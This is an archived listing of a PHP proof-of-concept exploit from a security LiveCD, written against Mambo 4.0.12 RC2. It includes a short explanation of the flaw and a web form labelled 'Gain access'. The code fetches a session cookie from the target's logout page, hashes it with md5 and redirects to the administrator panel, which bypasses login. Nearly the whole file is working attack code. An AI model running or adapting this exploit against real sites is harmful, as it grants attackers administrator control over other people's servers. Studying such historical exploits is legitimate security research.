home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / mambo / mamboexp.phps < prev   
PHP Script  |  2005-02-12  |  4KB  |  78 lines

  1. <?php 
  2. /* 
  3. ááámamboexp.php - Mambo 4.0.12 RC2 exploit - Proof of concept 
  4. áááCopyright (C) 2003ááSimen Bergo (sbergo@thesource.no) 
  5. áááThis program is free software; you can redistribute it and/or 
  6. ááámodify it under the terms of the GNU General Public License 
  7. áááas published by the Free Software Foundation; either version 2 of 
  8. áááthe License or (at your option) any later version. 
  9. áááThis program is distributed in the hope that it will be 
  10. áááuseful, but WITHOUT ANY WARRANTY; without even the implied warranty 
  11. áááof MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.ááSee the 
  12. áááGNU General Public License for more details. 
  13. áááYou should have received a copy of the GNU General Public License 
  14. áááalong with this program; if not, write to the Free Software 
  15. áááFoundation, Inc., 59 Temple Place - Suite 330, Boston, MAáá02111-1307, USA. 
  16. */ 
  17. /* 
  18. áááThe problem is that Mambo Site Server does not check whether or not 
  19. áááthe sessionid is created by the administrator login, or any other 
  20. ááápart of the website. 
  21. áááThis program will first connect to /index.php?option=logout which 
  22. áááhands us a cookie. Then we will md5() encrypt this cookie and "login" 
  23. áááat the administrator section. 
  24. */ 
  25. áááá 
  26. áááá# Check if form was submitted 
  27. ááááif (isset ($_POST['submit'])) { 
  28. áááááááá# Connect to server 
  29. áááááááá$handle = fsockopen ($_POST['hostname'], 80, &$errno, &$errstr); 
  30. áááááááá# Halt processing if we we're unable to connect 
  31. ááááááááif (!$handle) { die ("Unable to connect to <b>$hostname</b>"); } 
  32. ááááááááelse { 
  33. áááááááááááá# Get the webpage which will give us the cookie 
  34. ááááááááááááfputs ($handle, "GET /" . trim($_POST['maindir'], "\x5c \x2f") . "/index.php?option=logout HTTP/1.0\nHost: 
  35. {$_POST['hostname']}\n\n"); 
  36. áááááááááááá# Loop through the contents 
  37. áááááááááááá$buffer = ""; 
  38. ááááááááááááwhile (!feof ($handle)) { 
  39. áááááááááááááááá$buffer .= fgets ($handle, 2000); 
  40. áááááááááááá} 
  41. áááááááááááá# Create an array with each line as a seperate value 
  42. áááááááááááá$arr = explode ("\n", $buffer); 
  43. áááááááááááá# Loop through the array looking for the cookie 
  44. ááááááááááááforeach ($arr as $value) { 
  45. áááááááááááááááá# If we have found the cookie, proceed 
  46. ááááááááááááááááif (eregi ("Set-Cookie: sessioncookie=", $value)) { 
  47. áááááááááááááááááááá# Explode again, to sort out the sessionid 
  48. áááááááááááááááááááá$var = explode ("=", $value); 
  49. áááááááááááááááááááá# Now that we have all the information we need, we can redirect 
  50. ááááááááááááááááááááheader ("Location: http://{$_POST['hostname']}/" . 
  51. áááááááááááááááááááááááááááá trim($_POST['admdir'], "\x5c \x2f") . "/index2.php?session_id=" . md5(trim($var[1]))); 
  52. áááááááááááááááá} 
  53. áááááááááááá} 
  54. áááááááá} 
  55. áááá} 
  56. ?> 
  57. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> 
  58. áá<table border="0" cellspacing="0" cellpadding="0"> 
  59. áááá<tr> 
  60. áááááá<td width="120" height="30">Hostname</td> 
  61. áááááá<td width="280" height="30"><input type="text" name="hostname" size="30" value="www.mamboserver.com"/></td> 
  62. áááá</tr> 
  63. áááá<tr> 
  64. áááááá<td width="120" height="30">Main directory</td> 
  65. áááááá<td width="280" height="30"><input type="text" name="maindir" size="30" value=""/></td> 
  66. áááá</tr> 
  67. áááá<tr> 
  68. áááááá<td width="120" height="30">Admin directory</td> 
  69. áááááá<td width="280" height="30"><input type="text" name="admdir" size="30" value="administrator"/></td> 
  70. áááá</tr> 
  71. áááá<tr> 
  72. áááááá<td width="120" height="30"></td> 
  73. áááááá<td width="280" height="30"><input type="submit" value="Gain access" name="submit"/> <input type="reset" 
  74. value="Reset"/></td> 
  75. áááá</tr> 
  76. áá</table> 
  77. </form>
  78.